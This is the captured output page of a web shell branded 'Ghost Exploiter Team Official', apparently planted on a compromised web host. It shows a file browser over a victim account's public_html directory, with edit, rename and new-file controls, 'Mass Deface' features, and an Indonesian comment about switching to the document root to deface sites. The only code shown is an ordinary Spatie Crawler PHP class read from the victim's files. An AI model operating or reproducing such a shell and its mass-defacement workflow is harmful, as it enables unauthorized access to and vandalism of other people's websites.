webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
spatie
/
crawler
/
src
/
Handlers
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
CrawlRequestFailed.php
0.789KB
edt
ren
CrawlRequestFulfilled.php
4.158KB
edt
ren
<?php namespace Spatie\Crawler\Handlers; use Exception; use GuzzleHttp\Exception\ConnectException; use GuzzleHttp\Exception\RequestException; use Spatie\Crawler\Crawler; class CrawlRequestFailed { public function __construct(protected Crawler $crawler) { // } public function __invoke(Exception $exception, $index) { if ($exception instanceof ConnectException) { $exception = new RequestException($exception->getMessage(), $exception->getRequest()); } if ($exception instanceof RequestException) { $crawlUrl = $this->crawler->getCrawlQueue()->getUrlById($index); $this->crawler->getCrawlObservers()->crawlFailed($crawlUrl, $exception); } usleep($this->crawler->getDelayBetweenRequests()); } }